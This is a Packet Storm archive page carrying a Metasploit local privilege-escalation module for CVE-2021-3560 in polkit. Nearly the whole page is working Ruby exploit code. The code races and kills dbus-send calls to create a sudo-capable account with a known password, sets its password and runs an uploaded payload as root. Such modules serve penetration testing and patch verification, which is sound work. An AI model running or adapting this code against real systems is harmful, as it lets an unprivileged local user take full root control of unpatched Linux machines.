what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Polkit D-Bus Authentication Bypass

Polkit D-Bus Authentication Bypass
Posted Jul 9, 2021
Authored by Spencer McIntyre, jheysel-r7, Kevin Backhouse | Site metasploit.com

A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a method over D-Bus and kills the client process. This will occasionally cause the operation to complete without being subjected to all of the necessary authentication. The exploit module leverages this to add a new user with a sudo access and a known password. The new account is then leveraged to execute a payload with root privileges.

tags | exploit, local, root
advisories | CVE-2021-3560
SHA-256 | 4a469ac4141ad75d095a953ed9262ad9287b8c479e96a68695a89371d81439eb

Polkit D-Bus Authentication Bypass

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'unix_crypt'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Polkit D-Bus Authentication Bypass',
'Description' => %q{
A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged
attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a
method over D-Bus and kills the client process. This will occasionally cause the operation to complete without
being subjected to all of the necessary authentication.
The exploit module leverages this to add a new user with a sudo access and a known password. The new account
is then leveraged to execute a payload with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kevin Backhouse', # vulnerability discovery and analysis
'Spencer McIntyre', # metasploit module
'jheysel-r7' # metasploit module
],
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => ['unix', 'linux'],
'References' => [
['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],
['CVE', '2021-3560'],
['EDB', '50011']
],
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-06-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),
OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

def get_loop_sequence
datastore['ITERATIONS'].times.map(&:to_s).join(' ')
end

def exploit_set_realname(new_realname)
loop_sequence = get_loop_sequence
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts/User0
org.freedesktop.Accounts.User.SetRealName
string:'#{new_realname}' &
sleep #{@cmd_delay};
kill $!;
dbus-send
--system
--dest=org.freedesktop.Accounts
--print-reply
/org/freedesktop/Accounts/User0
org.freedesktop.DBus.Properties.Get
string:org.freedesktop.Accounts.User
string:RealName
| grep "string \\"#{new_realname}\\"";
if [ $? -eq 0 ]; then
echo success;
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def executable?(path)
cmd_exec("test -x '#{path}' && echo true").include? 'true'
end

def get_cmd_delay
user = rand_text_alphanumeric(8)
time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
unless time && time[1]
print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
return nil
end

time_in_seconds = time[1].to_f
# The dbus-send command timeout is implementation-defined, typically 25 seconds
# https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
return nil
end
time_in_seconds / 2
end

def check
if datastore['TIMEOUT'] < 26
return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
end

unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
return CheckCode::Safe('The polkit framework is not installed.')
end

# The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
# do that, the distro specific package manager would need to be queried. See #check_via_version.
polkit_version = Rex::Version.new(Regexp.last_match(1))

unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/
return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
end

# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
@cmd_delay = get_cmd_delay
return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?

status = nil
print_status('Checking for exploitability via attempt')
status ||= check_via_attempt
print_status('Checking for exploitability via version') unless status
status ||= check_via_version
status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")

status
end

def check_via_attempt
status = nil
return status unless !is_root? && command_exists?('dbus-send')

# This is required to make the /org/freedesktop/Accounts/User0 object_path available.
dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root')
# Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a
# random string before restoring it.
result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')
if result =~ /variant\s+string\s+"(.*)"/
old_realname = Regexp.last_match(1)
if exploit_set_realname(rand_text_alphanumeric(12))
status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
unless exploit_set_realname(old_realname)
print_error('Failed to restore the root user\'s original \'RealName\' property value')
end
end
end

status
end

def check_via_version
sysinfo = get_sysinfo
case sysinfo[:distro]
when 'fedora'
if sysinfo[:version] =~ /Fedora( release)? (\d+)/
distro_version = Regexp.last_match(2).to_i
if distro_version < 20
return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
elsif distro_version < 33
return CheckCode::Appears("Fedora version #{distro_version} is affected.")
elsif distro_version == 33
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
patched_version_string = '0.117-2.fc33.1'
elsif distro_version == 34
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
patched_version_string = '0.117-3.fc34.1'
elsif distro_version > 34
return CheckCode::Safe("Fedora version #{distro_version} is not affected.")
end

result = cmd_exec('dnf list installed "polkit.*"')
if result =~ /polkit\.\S+\s+(\d\S+)\s+/
current_version_string = Regexp.last_match(1)
if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
return CheckCode::Appears("Version #{current_version_string} is affected.")
else
return CheckCode::Safe("Version #{current_version_string} is not affected.")
end
end
end
when 'ubuntu'
result = cmd_exec('apt-cache policy policykit-1')
if result =~ /\s+Installed: (\S+)$/
current_version_string = Regexp.last_match(1)
current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))

if current_version < Rex::Version.new('0.105-26')
# The vulnerability was introduced in 0.105-26
return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")
end

# See: https://ubuntu.com/security/notices/USN-4980-1
# The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.
case sysinfo[:version]
when /21\.04/
patched_version_string = '0.105-30ubuntu0.1'
when /20\.10/
patched_version_string = '0.105-29ubuntu0.1'
when /20\.04/
patched_version_string = '0.105-26ubuntu1.1'
when /19\.10/
return CheckCode::Appears('Ubuntu 19.10 is affected.')
end
# Ubuntu 19.04 and older are *not* affected

if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
return CheckCode::Appears("Version #{current_version_string} is affected.")
end

return CheckCode::Safe("Version #{current_version_string} is not affected.")
end
end
end

def cmd_exec(*args)
result = super
result.gsub(/(\e\(B)?\e\[([;\d]+)?m/, '') # remove ANSI escape sequences from the command output
end

def dbus_method_call(object_path, interface_member, *args)
cmd_args = %w[dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply]
cmd_args << object_path
cmd_args << interface_member
args.each do |arg|
if arg.is_a?(Integer)
cmd_args << "int32:#{arg}"
elsif arg.is_a?(String)
cmd_args << "string:'#{arg}'"
end
end

cmd = cmd_args.join(' ')
vprint_status("Running: #{cmd}")
cmd_exec(cmd)
end

def create_unix_crypt_hash
UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)
end

def exploit_set_username(loop_sequence)
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts
org.freedesktop.Accounts.CreateUser
string:#{datastore['USERNAME']}
string:\"#{datastore['USERNAME']}\"
int32:1 &
sleep #{@cmd_delay}s;
kill $!;
if id #{datastore['USERNAME']}; then
echo \"success\";
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def exploit_set_password(uid, hashed_password, loop_sequence)
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts/User#{uid}
org.freedesktop.Accounts.User.SetPassword
string:'#{hashed_password}'
string: &
sleep #{@cmd_delay}s;
kill $!;
echo #{datastore['PASSWORD']}
| su - #{datastore['USERNAME']}
-c \"echo #{datastore['PASSWORD']} | sudo -S id\"
| grep \"uid=0(root)\";
if [ $? -eq 0 ]; then
echo \"success\";
break;
fi;
done;
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def exploit_delete_user(uid, loop_sequence)
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts
org.freedesktop.Accounts.DeleteUser
int64:#{uid}
boolean:true &
sleep #{@cmd_delay}s;
kill $!;
if id #{datastore['USERNAME']}; then
echo \"failed\";
else
echo \"success\";
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end

def upload_and_chmodx(path, data)
upload(path, data)
chmod(path)
end

def upload_payload
fname = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}"
upload_and_chmodx(fname, generate_payload_exe)
return nil unless file_exist?(fname)

fname
end

def execute_payload(fname)
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
end

def exploit
fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
if datastore['TIMEOUT'] < 26
fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
end

if @cmd_delay.nil?
# cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
# likely cause the check method wasn't executed. Lets set it so long.

# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
@cmd_delay = get_cmd_delay
fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
end

print_status("Attempting to create user #{datastore['USERNAME']}")
loop_sequence = get_loop_sequence

fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
uid = cmd_exec("id -u #{datastore['USERNAME']}")
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
print_good('Obtained code execution as root!')
fname = upload_payload
execute_payload(fname)
else
print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
end

print_status('Attempting to remove the user added: ')
if exploit_delete_user(uid, loop_sequence)
print_good("Successfully removed #{datastore['USERNAME']}")
else
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close